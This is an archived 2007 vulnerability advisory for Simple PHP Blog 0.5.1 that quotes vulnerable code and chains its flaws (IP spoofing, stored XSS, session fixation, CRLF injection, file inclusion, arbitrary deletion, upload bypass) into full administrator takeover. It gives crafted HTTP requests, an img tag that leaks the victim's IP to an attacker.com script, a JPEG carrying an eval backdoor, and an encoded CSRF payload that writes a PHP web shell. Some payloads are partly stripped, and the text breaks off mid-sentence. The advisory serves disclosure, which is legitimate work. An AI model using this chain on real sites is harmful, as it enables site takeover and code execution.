TUCoPS :: Web :: Blogs :: tb13079.htm

Simple PHP Blog (sphpblog) <= 0.5.1 Multiple Vulnerabilities
Simple PHP Blog (sphpblog) <= 0.5.1 Multiple Vulnerabilities
Simple PHP Blog (sphpblog) <= 0.5.1 Multiple Vulnerabilities



       Title:   Simple PHP Blog (sphpblog) <= 0.5.1 Multiple Vulnerabilities=0D
Vendor: http://sourceforge.net/projects/sphpblog/=0D 
=0D
Advisory: http://acid-root.new.fr/?0:15=0D 
      Author:   DarkFig < gmdarkfig (at) gmail (dot) com >=0D
=0D
 Released on:   2007/10/21=0D
   Changelog:   ----------=0D
                                                     L   M   H   T=0D
     Summary:   Ip Spoofing                         [X] [_] [_] [X]=0D
                Cross Site Scripting                [X] [_] [_] [X]=0D
                Session Fixation                    [X] [_] [_] [X]=0D
                mail() CRLF Injection               [X] [_] [_] [_]=0D
                Local File Inclusion (+CSRF)        [_] [X] [_] [X]=0D
                File Deletion (+CSRF)               [_] [X] [_] [X]=0D
                File Upload Vulnerability           [_] [_] [X] [X]=0D
                Code Execution (+CSRF)              [_] [_] [X] [X]=0D
=0D
      Legend:   L - Low risk         M - Medium risk=0D
                H - High risk        T - Tested=0D
=0D
  Risk level:   Medium / High=0D
         CVE:   ----------=0D
=0D
=0D
=0D
  I - IP SPOOFING=0D
=0D
  The file "scripts/sb_communicate.php" contains the following=0D
  code: =0D
=0D
  19| function getIP() {=0D
  20|  if ( !empty ( $_SERVER[ 'HTTP_CLIENT_IP' ] ) ) {=0D
  21|   	  $ip = $_SERVER[ 'HTTP_CLIENT_IP' ];=0D
  22|  }=0D
  23|  else if ( !empty ( $_SERVER[ 'HTTP_X_FORWARDED_FOR' ] ) ) {=0D
  24|  	  $ip = $_SERVER[ 'HTTP_X_FORWARDED_FOR' ];=0D
  25|  }=0D
  26|  else if ( !empty ( $_SERVER[ 'REMOTE_ADDR' ] ) ) {=0D
  27| 	  $ip = $_SERVER[ 'REMOTE_ADDR' ];=0D
  28|  }=0D
  29|  else if ( getenv( "HTTP_CLIENT_IP" ) ) {=0D
  30|   	  $ip = getenv( "HTTP_CLIENT_IP" );=0D
  31|  }=0D
  32|  else if ( getenv( "HTTP_X_FORWARDED_FOR" ) ) {=0D
  33| 	  $ip = getenv( "HTTP_X_FORWARDED_FOR" );=0D
  34|  }=0D
  35|  else if ( getenv( "REMOTE_ADDR") ) {=0D
  36|   	  $ip = getenv( "REMOTE_ADDR" );=0D
  37|  }=0D
  38|  else { =0D
  39| 	  $ip = "UNKNOWN";=0D
  40|  }=0D
  41|  return( $ip );=0D
  42|  }=0D
=0D
  So, an attacker can spoof his IP, he just have to create=0D
  an HTTP packet, add a special header, and send it. The=0D
  HTTP packet will look's like this:=0D
  =0D
  GET /index.php HTTP/1.1\r\n=0D
  Host: localhost\r\n=0D
  X-Forwarded-For: 127.0.0.1\r\n=0D
  Connection: keep-alive\r\n\r\n=0D
  =0D
  Later, we'll see how to gain the administrator's session=0D
  id. Even if we got the good session id, there is a=0D
  protection that "normally" don't permit to be logged in.=0D
  Let's see a part of the file "scripts/sb_login.php":=0D
  =0D
  28| // Check if user is logged in.=0D
  29| if ( isset( $_SESSION[ 'logged_in' ] ) &&=0D
    |             $_SESSION[ 'logged_in' ] == 'yes' ) {=0D
    |=0D
  30|   if ( $_SESSION[ 'site_path' ] ====0D
    |        dirname($_SERVER[ 'PHP_SELF' ]) ) {=0D
    |=0D
  31|     if ( $_SESSION[ 'ip' ] === getIP() ) {=0D
  32|       // User is logged in.=0D
  33|       return ( true );=0D
  34|     }=0D
  35|   }=0D
  36| }=0D
  =0D
  Thanks to the getIP() function, if we know the=0D
  administrator's IP (later we'll see how to get it easily),=0D
  we can bypass the third condition.=0D
=0D
=0D
=0D
  II - CROSS SITE SCRIPTING=0D
=0D
  When a guest add a comment, an HTTP packet is sent to=0D
  "comment_add_cgi.php". Before writing the comment into=0D
  a file, there is some conditions, the first condition is=0D
  that the IP sent with the POST method, must be the same=0D
  as the IP returned by the getIP() function. Let's see=0D
  the code:=0D
=0D
  88| if ($ok) {=0D
  89| 	// Verify that posted IP and actual IP matches.=0D
  90| 	if ( getIP() === $_POST['user_ip'] ) {=0D
  91| 		$ipMatches = true;=0D
  92| 	} else {=0D
  93| 		$ipMatches = false;=0D
  94| 		$ok = false;=0D
  95| 		$error_message = $lang_string[ 'error_no_match' ];=0D
  96| 	}=0D
  97| }=0D
=0D
  This is useless, I don't know what the author wanted to=0D
  do but this can be bypassed easily. After some conditions,=0D
  the write_comment() function is called:=0D
  =0D
  219| $result = write_comment( $_POST[ 'y' ], $_POST[ 'm' ],=0D
     |          $_POST[ 'entry' ],=0D
  220| 		$comment_name,=0D
  221| 		$comment_email,=0D
  222| 		$comment_url,=0D
  223| 		$comment_text,=0D
  224| 		$_POST[ 'user_ip' ],=0D
  225| 		$moderationFlag,=0D
  226| 		time() );=0D
=0D
  This function is situated in "scripts/sb_comments.php".=0D
  Let's see the data which will be stored in a file:=0D
=0D
  519| // Save the file=0D
  520| $save_data = array();=0D
  521| $save_data[ 'VERSION' ] = $sb_info[ 'version' ];=0D
  522| $save_data[ 'NAME' ] = clean_post_text( $comment_name );=0D
  523| $save_data[ 'DATE' ] = $comment_date;=0D
  524| $save_data[ 'CONTENT' ] = sb_parse_url( clean_post_text( $comment_text ) );=0D
     |=0D
  525| if ( $comment_email != '' ) {=0D
  526|   $save_data[ 'EMAIL' ] = clean_post_text( $comment_email );=0D
  527| }=0D
     |=0D
  528| if ( $comment_url != '' ) {=0D
  529|   $save_data[ 'URL' ] = clean_post_text( $comment_url );=0D
  530| }=0D
     |=0D
  531| $save_data[ 'IP-ADDRESS' ] = $user_ip; // New 0.4.8=0D
  532| $save_data[ 'MODERATIONFLAG' ] = $hold_flag;=0D
  533| =0D
  534| // Implode the array=0D
  535| $str = implode_with_keys( $save_data );=0D
  536| =0D
  537| // Save the file=0D
  538| $result = sb_write_file( $entryFile, $str ); =0D
=0D
  The clean_post_text() function protect against XSS, it=0D
  also replace a string separator (by its html equivalent)=0D
  which is used when comment's data are extracted.=0D
  This function is in the file "scripts/sb_formatting.php":=0D
=0D
  13| function clean_post_text( $str ) {=0D
  14| 	// Cleans post text input.=0D
  15| 	//=0D
  16| 	// Strip out and replace pipes with colons. HTML-ize entities.=0D
  17| 	// Use charset from the language file to make sure we're only=0D
  18| 	// encoding stuff that needs to be encoded.=0D
  19| 	//=0D
  20| 	// This makes entries safe for saving to a file (since the data=0D
  21| 	// format is pipe delimited.)=0D
  22| 	global $lang_string;=0D
  23| 	$str = str_replace( '|', '|', $str );=0D
  24| 	$str = @htmlspecialchars( $str, ENT_QUOTES, $lang_string[ 'php_charset' ] );=0D
  25| =0D
  26| 	return ( $str );=0D
  27| }=0D
=0D
  The clean_post_text() function isn't applied to the=0D
  IP address which will be stored in the file. So this=0D
  can be exploited to conduct XSS attack. The attacker=0D
  will send an HTTP packet like this one:=0D
=0D
  POST /comment_add_cgi.php HTTP/1.1\r\n=0D
  Host: localhost\r\n=0D
  Client-IP: \r\n=0D
  Connection: keep-alive\r\n=0D
  Content-Type: application/x-www-form-urlencoded\r\n=0D
  Content-Length: 229\r\n\r\n=0D
  y=07&m=07&entry=entry070727-161718&comment_name=HereMyName=0D
  &comment_email=&comment_url=&user_ip==0D
  &style_dropdown=--&comment_text=This+is+an+example+comment.=0D
  &comment_capcha=571560&submit=%A0Post+Comment%A0\r\n\r\n=0D
=0D
  The sender IP address can be only seen by a registered=0D
  user. So the code sent by the attacker will be executed=0D
  when a registered user will see the comments page.=0D
=0D
=0D
=0D
  III - SESSION FIXATION=0D
=0D
  In a session fixation attack, the attacker have to set=0D
  the victim's session id. In our case, the attacker fix=0D
  the user's session id, the victim which is logged in,=0D
  will get logged out when the cookie will be set, then=0D
  if the victim try to log in, the session id will be=0D
  registered on the server. Let's see a part of the=0D
  logged_in() function:=0D
=0D
  11| function logged_in ( $redirect_to_login, $redirect_to_setup ) {=0D
  12|         =0D
  13|   // Turn off URL SIDs.=0D
  14|   ini_set('url_rewriter.tags','');=0D
  15|   ini_set('session.use_trans_sid', false);=0D
  16| =0D
  17|   // Init the session.=0D
  18|   session_set_cookie_params(60*60*24*5);=0D
  19| =0D
  20|   // Check if the user has a client-side cookie.=0D
  21|   if ( isset( $_COOKIE[ 'sid' ] ) ) {=0D
  22|     session_id($_COOKIE[ 'sid' ]);=0D
  23|   }=0D
  24| =0D
  25|   // Start the session.=0D
  26|   session_start ();=0D
  27|     =0D
  28| // Check if user is logged in.=0D
  29| if ( isset( $_SESSION[ 'logged_in' ] ) &&=0D
    |             $_SESSION[ 'logged_in' ] == 'yes' ) {=0D
    |=0D
  30|   if ( $_SESSION[ 'site_path' ] ====0D
    |        dirname($_SERVER[ 'PHP_SELF' ]) ) {=0D
    |=0D
  31|     if ( $_SESSION[ 'ip' ] === getIP() ) {=0D
  32|       // User is logged in.=0D
  33|       return ( true );=0D
  34|     }=0D
  35|   }=0D
  36| }=0D
=0D
  After, the attacker, who knows the session id, just=0D
  have to use it to be logged in as the victim's account.=0D
  But in our case, he must also know the victim's IP.=0D
  I'll demonstrate how to get administrator rights even=0D
  if the victim has a protection against XSS (NoScript=0D
  Firefox plugin for example). First, the attacker will=0D
  fix the victim's session id by setting a cookie to=0D
  the victim. Then he'll also force the victim's web=0D
  browser to establish a connexion to a script that=0D
  will get the victim's IP. Take a look at this schema:=0D
=0D
 +----------------------------------------------------------+=0D
 | The attacker post a comment using the XSS vulnerability. |=0D
 | The code which will be executed on the client browser    |=0D
 | will set the "sid" cookie, it will also force the        |=0D
 | victim's web browser to send an HTTP packet to a script  |=0D
 | that will mail the victim's IP to the attacker.          |=0D
 +----------------------------------------------------------+=0D
 |=0D
 |    +---------------------------------------------------+=0D
 +--> |  |=0D
| src=http://attacker.com/getip_and_mail.php> |=0D 
      +---------------------------------------------------+=0D
                                                          |=0D
   +-------------------------------------------------+    |=0D
   | The victim, which is logged in, have to see the | <--+=0D
   | comments page. After saw it, the victim will be | =0D
   | logged out.                                     |=0D
   +-------------------------------------------------+=0D
   |=0D
   |    +------------------------------------------+=0D
   +--> | The victim try to log in. Now that she's |=0D
        | logged in, the session id set by the     |=0D
        | attacker is registered on the server.    |=0D
        +------------------------------------------+=0D
                                                   |=0D
  +--------------------------------------------+   |=0D
  | Now the attacker just have to send an HTTP |<--+=0D
  | packet which contains the session id and a |=0D
  | special header with the victim's IP.       |=0D
  | The attacker is logged in as the victim's  |=0D
  | account.                                   |=0D
  +--------------------------------------------+=0D
=0D
  As you can see, even if the victim is protected against=0D
  XSS, it's always possible to get adminitrator rights with=0D
  this type of attack, we juste use the "meta" and "img" tags.=0D
=0D
=0D
=0D
  IV - MAIL() CRLF INJECTION=0D
=0D
  User's variables are not checked before be used in the mail()=0D
  function. The file "comment_add_cgi.php" call the=0D
  write_comment() function with the following parameters:=0D
=0D
  214| $comment_name = sb_stripslashes($_POST['comment_name']);=0D
  215| $comment_email = sb_stripslashes($_POST['comment_email']);=0D
  216| $comment_url = sb_stripslashes($_POST['comment_url']);=0D
  217| $comment_text = sb_stripslashes($_POST['comment_text']);=0D
  218| =0D
  219| $result = write_comment($_POST[ 'y' ],$_POST[ 'm' ],=0D
     |          $_POST['entry' ],=0D
  220| 		$comment_name,=0D
  221| 		$comment_email,=0D
  222| 		$comment_url,=0D
  223| 		$comment_text,=0D
  224| 		$_POST[ 'user_ip' ],=0D
  225| 		$moderationFlag,=0D
  226| 		time() );=0D
=0D
  Then the function clean_post_text() is applied to $comment_email.=0D
  But this function doesn't protect against CRLF Injection, this=0D
  will not replace the \r and \n chars. Take a look at the file=0D
  "sb_comments.php":=0D
=0D
  471| function write_comment($y,$m,$entry,$comment_name,$comment_email=0D
     |=0D
  525| if ( $comment_email != '' ) {=0D
  526|      $save_data[ 'EMAIL' ] = clean_post_text( $comment_email );=0D
  527| }=0D
     |=0D
  584| // Send the Email=0D
  585| if ( array_key_exists( 'EMAIL', $save_data ) ) {=0D
  586|   sb_mail( $save_data[ 'EMAIL' ], $blog_config[ 'blog_email' ],=0D
     |            $subject, $body, false );=0D
  587| } =0D
=0D
  The goal of the sb_mail() function is to send mass emails.=0D
  As you can see belows, there is no protection against=0D
  $save_data[ 'EMAIL' ].=0D
=0D
   45| 	function sb_mail ($from, $to, $subject, $body, $text=true, $priority=3) {=0D
     |=0D
   69| 	$headers .= 'From: ' . $from . " \r\n";=0D
   70|  $headers .= 'Reply-To: ' . $from . " \r\n";=0D
   71|  $headers .= 'Return-Path: ' . $from . " \r\n";=0D
     |=0D
   76|  ini_set('sendmail_from', $from);=0D
   77|  for ( $j=0; $j < count($to_array); $j++ ) {=0D
   78|  $result = mail( $to_array[$j], sb_stripslashes($subject),=0D
     |                  sb_stripslashes($body), $headers );=0D
   79|  }=0D
   80| ini_restore('sendmail_from');=0D
=0D
  So an attacker can perform a CRLF injection attack into the mail()=0D
  function, it will probably be used by spammers.=0D
=0D
=0D
=0D
  V - LOCAL FILE INCLUSION (+CSRF)=0D
=0D
  There is an LFI vulnerability (admin rights needed)=0D
  in the file "languages_cgi.php":=0D
=0D
  76| 	if ( array_key_exists( 'store_data', $_GET ) ) {=0D
  77| 	=0D
  78| 	// Store all the data from language 2=0D
  79| 	require_once('languages/' . $_GET[ 'lang2' ] . '/strings.php');=0D
=0D
  This will require magic_quotes_gpc=Off. Because they use the=0D
  GET method, there's a CSRF vulnerability too. For each new=0D
  comments, a new text file is created. The structure of the file=0D
  like this:=0D
=0D
  VERSION|0.4.8=0D
  |NAME|=0D
  |DATE|1188078694=0D
  |CONTENT|=0D
  |EMAIL|=0D
  |IP-ADDRESS|=0D
  |MODERATIONFLAG|H=0D
=0D
  Now imagine that an attacker use the XSS vulnerability to post=0D
  php code and html tags which will make the admin sent an HTTP=0D
  request to exploit the LFI vuln. The XSS code will look's like=0D
  this:=0D
=0D
  =0D
src=http:///languages_cgi.php?store_data=1&lang2==0D 
  ../content/07/07/entry070727-161718/comments/comment070825-235134.txt%00>=0D
  =0D
=0D
  In order to exploit this, the attacker must know where the new=0D
  file will be created. Let's see the code:=0D
=0D
  471|   function write_comment ( $y, $m, $entry, $comment_name,=0D
     |   $comment_email, $comment_url, $comment_text, $user_ip,=0D
     |   $hold_flag='', $comment_date=null ) {=0D
     | =0D
  478|     $basedir = 'content/';=0D
  479|     $dir = $basedir.$y.'/'.$m.'/'.$entry;=0D
     | =0D
  494|     $dir .= '/comments';=0D
     | =0D
  506|     $dir  .= '/';=0D
     |=0D
  512|     $stamp = date('ymd-His');=0D
  513|     if ( $blog_config[ 'blog_enable_gzip_txt' ] ) {=0D
  514|       $entryFile = $dir.'comment'.$stamp.'.txt.gz';=0D
  515|     } else {=0D
  516|       $entryFile = $dir.'comment'.$stamp.'.txt';=0D
  517|     }=0D
 =0D
  The variables $y, $m and $entry are sent with the HTTP request.=0D
  The filename is decided with the date() function. There is many=0D
  ways for know the content returned by $stamp:=0D
  - Ask the server by sending an HTTP request (the "Date" header).=0D
  - Bruteforce the path (Add several html tags).=0D
  - Divide our attack in two parts (filenames are displayed in the html source).=0D
=0D
  The attacker must also urlencode the content of his XSS, the=0D
  HTTP packet will finally look's like this:=0D
=0D
  POST /comment_add_cgi.php HTTP/1.1=0D
  Host: localhost=0D
  Connection: keep-alive=0D
  Cookie: PHPSESSID==0D
  Client-IP: =0D
  Content-Type: application/x-www-form-urlencoded=0D
  Content-Length: =0D
  y=&m=&entry=&comment_name=Hacker=0D
  &comment_email=my%40you.com&comment_url=&user_ip==0D
  =0D
  &style_dropdown=--&comment_text=Hello&comment_capcha=0D
  =128619&submit=%A0Post+Comment%A0=0D
=0D
  Now the attacker have to wait until the admin see his comment.=0D
=0D
=0D
=0D
  VI - FILE DELETION (+CSRF)=0D
=0D
  There is a CSRF vulnerability which can lead to file=0D
  deletion. Let's see the code of "trackback_delete_cgi.php":=0D
=0D
  22| if ( array_key_exists( 'trackback', $_GET ) ) {=0D
  23| 	$ok = delete_trackback( $_GET[ 'trackback' ] );	=0D
  24| }=0D
=0D
  So if the variable "trackback" is set with the GET method, =0D
  the delete_trackback() function is called. The code of =0D
  this function is situated in "sb_trackback.php":=0D
=0D
  229| 	function delete_trackback ( $entryFile ) {=0D
  230| 		// Delete the old file=0D
  231| 		if ( file_exists( $entryFile ) ) {=0D
  232| 			$ok = sb_delete_file( $entryFile );=0D
  233| 		}=0D
=0D
  If the file exists, the function sb_delete_file() is called,=0D
  with the parameter $_GET['trackback']. The source code =0D
  of this function is situated in the file "sb_fileio.php":=0D
=0D
  171|   function sb_delete_file ( $filename ) {=0D
     |=0D
  175|     clearstatcache();=0D
  176|     if ( file_exists( $filename ) ) {=0D
  177|       $result = @unlink( $filename );=0D
  178|     }=0D
=0D
  There is no verification before deleting the file. So we=0D
  can delete any files on the server. The HTTP packet sent=0D
  by the attacker will look's like this:=0D
=0D
  GET /trackback_delete_cgi.php?trackback= HTTP/1.1\r\n=0D
  Host: localhost\r\n=0D
  Connection: keep-alive\r\n\r\n=0D
=0D
  Admin right's are needed to delete files, but because=0D
  it's also a CRLF vulnerability, we can use it in our XSS,=0D
  then so admin right's aren't needed for the attacker.=0D
=0D
=0D
=0D
  VII - FILE UPLOAD VULNERABILITY=0D
=0D
  When we're admin, we can upload emoticons.=0D
  Let'see the content of the function upload_emoticons()=0D
  which is situated in the file "emoticons.php":=0D
=0D
  36| function upload_emoticons() {=0D
  37| 	// Emoticon upload form results=0D
  38| 	$path = 'images/emoticons';=0D
  39| 	$uploaddir = $path;=0D
  40| 	=0D
  41| 	$ok = false;=0D
  42| 	if ( $_FILES[ 'user_emot' ][ 'error' ] == 0 ) {=0D
  43| 	if (!file_exists($uploaddir)) {=0D
  44| 		$oldumask = umask(0);=0D
  45| 		@mkdir($uploaddir, 0777 );=0D
  46| 		@umask($oldumask);=0D
  47| 	}=0D
  48| 		=0D
  49| 	$uploaddir .= '/';=0D
  50| 	$uploadfile = $uploaddir.=0D
    |                 preg_replace("/ /","_",$_FILES[ 'user_emot' ][ 'name' ]);=0D
  51| =0D
  52| 	if (@is_uploaded_file($_FILES['user_emot']['tmp_name'])) {=0D
    |=0D
  53| 	if (@getimagesize($_FILES['user_emot']['tmp_name']) == FALSE){=0D
  54| 		$ok = -1;=0D
    |=0D
  55| 	} else {=0D
    |=0D
  56| 	if (@move_uploaded_file($_FILES['user_emot']['tmp_name'], $uploadfile)){=0D
  57| 		chmod( $uploadfile, 0777 );=0D
  58| 		$ok = true;=0D
  59| 	}=0D
=0D
  As you can see, there is only one protection against file=0D
  upload vulnerability. The function getimagesize() will=0D
  return FALSE if the upload file isn't a valid image file.=0D
  But we can bypass this easily. Take a look at this:=0D
=0D
  C:\>edjpgcom img1x1.jpg=0D
=0D
  C:\>hexdump img1x1.jpg=0D
=0D
  ff d8 ff e0 00 10 4a 46 - 49 46 00 01 01 01 00 60   ......JF IF......=0D
  00 60 00 00 ff db 00 43 - 00 08 06 06 07 06 05 08   .......C ........=0D
  07 07 07 09 09 08 0a 0c - 14 0d 0c 0b 0b 0c 19 12   ........ ........=0D
  13 0f 14 1d 1a 1f 1e 1d - 1a 1c 1c 20 24 2e 27 20   ........ ........=0D
  22 2c 23 1c 1c 28 37 29 - 2c 30 31 34 34 34 1f 27   ......7. .01444..=0D
  39 3d 38 32 3c 2e 33 34 - 32 ff db 00 43 01 09 09   9.82..34 2...C...=0D
  09 0c 0b 0c 18 0d 0d 18 - 32 21 1c 21 32 32 32 32   ........ 2...2222=0D
  32 32 32 32 32 32 32 32 - 32 32 32 32 32 32 32 32   22222222 22222222=0D
  32 32 32 32 32 32 32 32 - 32 32 32 32 32 32 32 32   22222222 22222222=0D
  32 32 32 32 32 32 32 32 - 32 32 32 32 32 32 ff fe   22222222 222222..=0D
  00 26 3c 3f 70 68 70 20 - 65 76 61 6c 28 24 5f 53   ....php. eval...S=0D
  45 52 56 45 52 5b 48 54 - 54 50 5f 53 48 45 4c 4c   ERVER.HT TP.SHELL=0D
  5d 29 3b 20 3f 3e ff c0 - 00 11 08 00 01 00 01 03   ........ ........=0D
  01 22 00 02 11 01 03 11 - 01 ff c4 00 1f 00 00 01   ........ ........=0D
  05 01 01 01 01 01 01 00 - 00 00 00 00 00 00 00 01   ........ ........=0D
  02 03 04 05 06 07 08 09 - 0a 0b ff c4 00 b5 10 00   ........ ........=0D
  02 01 03 03 02 04 03 05 - 05 04 04 00 00 01 7d 01   ........ ........=0D
  02 03 00 04 11 05 12 21 - 31 41 06 13 51 61 07 22   ........ 1A..Qa..=0D
  71 14 32 81 91 a1 08 23 - 42 b1 c1 15 52 d1 f0 24   q.2..... B...R...=0D
  33 62 72 82 09 0a 16 17 - 18 19 1a 25 26 27 28 29   3br..... ........=0D
  2a 34 35 36 37 38 39 3a - 43 44 45 46 47 48 49 4a   .456789. CDEFGHIJ=0D
  53 54 55 56 57 58 59 5a - 63 64 65 66 67 68 69 6a   STUVWXYZ cdefghij=0D
  73 74 75 76 77 78 79 7a - 83 84 85 86 87 88 89 8a   stuvwxyz ........=0D
  92 93 94 95 96 97 98 99 - 9a a2 a3 a4 a5 a6 a7 a8   ........ ........=0D
  a9 aa b2 b3 b4 b5 b6 b7 - b8 b9 ba c2 c3 c4 c5 c6   ........ ........=0D
  c7 c8 c9 ca d2 d3 d4 d5 - d6 d7 d8 d9 da e1 e2 e3   ........ ........=0D
  e4 e5 e6 e7 e8 e9 ea f1 - f2 f3 f4 f5 f6 f7 f8 f9   ........ ........=0D
  fa ff c4 00 1f 01 00 03 - 01 01 01 01 01 01 01 01   ........ ........=0D
  01 00 00 00 00 00 00 01 - 02 03 04 05 06 07 08 09   ........ ........=0D
  0a 0b ff c4 00 b5 11 00 - 02 01 02 04 04 03 04 07   ........ ........=0D
  05 04 04 00 01 02 77 00 - 01 02 03 11 04 05 21 31   ......w. .......1=0D
  06 12 41 51 07 61 71 13 - 22 32 81 08 14 42 91 a1   ..AQ.aq. .2...B..=0D
  b1 c1 09 23 33 52 f0 15 - 62 72 d1 0a 16 24 34 e1   ....3R.. br....4.=0D
  25 f1 17 18 19 1a 26 27 - 28 29 2a 35 36 37 38 39   ........ ...56789=0D
  3a 43 44 45 46 47 48 49 - 4a 53 54 55 56 57 58 59   .CDEFGHI JSTUVWXY=0D
  5a 63 64 65 66 67 68 69 - 6a 73 74 75 76 77 78 79   Zcdefghi jstuvwxy=0D
  7a 82 83 84 85 86 87 88 - 89 8a 92 93 94 95 96 97   z....... ........=0D
  98 99 9a a2 a3 a4 a5 a6 - a7 a8 a9 aa b2 b3 b4 b5   ........ ........=0D
  b6 b7 b8 b9 ba c2 c3 c4 - c5 c6 c7 c8 c9 ca d2 d3   ........ ........=0D
  d4 d5 d6 d7 d8 d9 da e2 - e3 e4 e5 e6 e7 e8 e9 ea   ........ ........=0D
  f2 f3 f4 f5 f6 f7 f8 f9 - fa ff da 00 0c 03 01 00   ........ ........=0D
  02 11 03 11 00 3f 00 f7 - fa 28 a2 80 3f ff d9 d9   ........ ........=0D
=0D
  C:\>ren img1x1.jpg backdoor.php=0D
=0D
  The created file is a valid jpg image, so the check made=0D
  by the function getimagesize() will be bypassed. And so=0D
  the backdoor will be uploaded in "images/emoticons".=0D
=0D
=0D
=0D
  VIII - CODE EXECUTION (+CSRF)=0D
=0D
  There is a CSRF vulnerability which can lead to execute=0D
  PHP code, this is the critical point of this script.=0D
  Let's see the code of the file "manage_users.php":=0D
=0D
   61| if ( $_GET[ 'action' ] == "update" ) {=0D
     |=0D
   63|  if ($_SESSION[ 'fulladmin' ] != 'yes' ) {=0D
   64|         echo($lang_string['fulladminerror']);=0D
   65| } else {=0D
   66| =0D
   67|   // First read and remove the offending line=0D
   68|   $pfile = fopen("config/users.php","a+");=0D
   69|   rewind($pfile);=0D
     |=0D
   70|   while (!feof($pfile)) {=0D
   71|     $line = fgets($pfile);=0D
   72|     $tmp = explode('|', $line);=0D
   73| =0D
   74|     if ( $_GET[ 'type' ] == "edit" ) {=0D
   75|       if ( $tmp[1] != $_GET[ 'user' ] )=0D
     |          { $newfile = $newfile . $line; }=0D
   76|     } else {=0D
   77|       $newfile = $newfile . $line;=0D
   78|     }=0D
   79|   }=0D
   80|   fclose($pfile);=0D
     |=0D
  101|   $blankfield = "";=0D
  102| =0D
  103|   // Create the record structure=0D
  104|   if ( $_GET[ 'type' ] == "edit" ) {=0D
     |=0D
  107|     $password = $_GET[ 'oldpasshash' ];=0D
  108|     if ( $password != $_POST[ 'sPassword' ] ) {=0D
  109|       $password = crypt($_GET[ 'user' ],$_POST[ 'sPassword' ] );=0D
  110|     }=0D
  111| =0D
  112|     $array ==0D
     |     array($_POST[ 'sFullname' ], $_GET[ 'user' ], $password,=0D
     |     $_POST[ 'sAvatar' ], $active, $_POST[ 'sEmail' ],=0D
     |     $modcomments, $deleteentries, $editany, $blankfield);=0D
     |=0D
  113|   } else {=0D
     |=0D
  114|     $array ==0D
     |     array($_POST[ 'sFullname' ], $_POST[ 'sUsername' ],=0D
     |     crypt( $_POST[ 'sUsername' ], $_POST[ 'sPassword' ] ),=0D
     |     $_POST[ 'sAvatar' ], $active, $_POST[ 'sEmail' ],=0D
     |     $modcomments, $deleteentries, $editany, $blankfield);=0D
  115|   }=0D
     |=0D
  116|   $str = implode('|', $array);=0D
  117|   $newfile = $newfile . $str . "n";=0D
     |=0D
  120|   $pfile = fopen("config/users.php","w");=0D
  121|   fwrite($pfile, $newfile);=0D
  122|   fclose($pfile);=0D
  123| =0D
  124|   redirect_to_url("manage_users.php");=0D
  125| }=0D
  126| }=0D
=0D
  As you can see there is no protection against PHP chars =0D
  (like strip_tags()) before inserting user's data into=0D
  the php file. But the author of the script add a ".htaccess"=0D
  file in the "config" directory. Let's see the content of=0D
  this file: =0D
  =0D
   1| IndexIgnore *=0D
   2| =0D
   3| =0D
   4| order allow,deny=0D
   5| deny from all=0D
   6| =0D
   7| =0D
   8| =0D
   9| order allow,deny=0D
  10| deny from all=0D
  11| =0D
=0D
  So we can't list the content of the directory, and we=0D
  don't have access to .htaccess/.txt files. But we can=0D
  access to .php files ! This require admin rights...=0D
  but we can write PHP code with the GET method, that's=0D
  why there's also a CSRF vulnerability. In our example=0D
  we will take this php code (as you can see we don't=0D
  need magic_quote_gpc=Off):=0D
=0D
   1| hacker@you.com=0D 
   7| MAIL;=0D
   8| =0D
   9| $subject = <<=0D
=0D
  So the attacker just have to post (using the XSS)=0D
  something like this:=0D
=0D
src=http:///manage_users.php?action=update=0D 
  &type=edit&user=%3C%3Fphp%0D%0A%0D%0Aif%28isset%28%24=0D
  _GET%5Bmail%5D%29%29%0D%0A%7B%0D%0A%24mail+%3D+%3C%3C=0D
  %3CMAIL%0D%0Ahacker%40you.com%0D%0AMAIL%3B%0D%0A%0D%0=0D
  A%24subject+%3D+%3C%3C%3CSUBJ%0D%0AHey+%21%0D%0ASUBJ%=0D
  3B%0D%0A%0D%0A%24body+%3D+%3C%3C%3CBODY%0D%0ACode+exe=0D
  cuted%0D%0ABODY%3B%0D%0A%0D%0Amail%28%24mail%2C%24sub=0D
  ject%2C%24body%29%3B%0D%0A%7D%0D%0Aelse+eval%28%24_SE=0D
  RVER%5BHTTP_SHELL%5D%29%3B%0D%0A%0D%0A%3F%3E>=0D
  =0D
=0D
src=http:///config/users.php?mail=1>=0D 
  =0D
=0D
src=http:///trackback_delete_cgi.php?track=0D 
  back=MY_COMMENT_FILENAME>=0D
  =0D
=0D
  After, he have to wait until the admin see his comment.=0D
  Then the HTTP request will be sent to the script, and=0D
  so the PHP code will be written into "config/users.php".=0D
=0D
=0D
=0D
  IX - END=0D
  =0D
  As you can see there's some pretty cool things here:=0D
 =0D
  - [III] We bypass Noscript firefox plugin protection.=0D
    We don't use any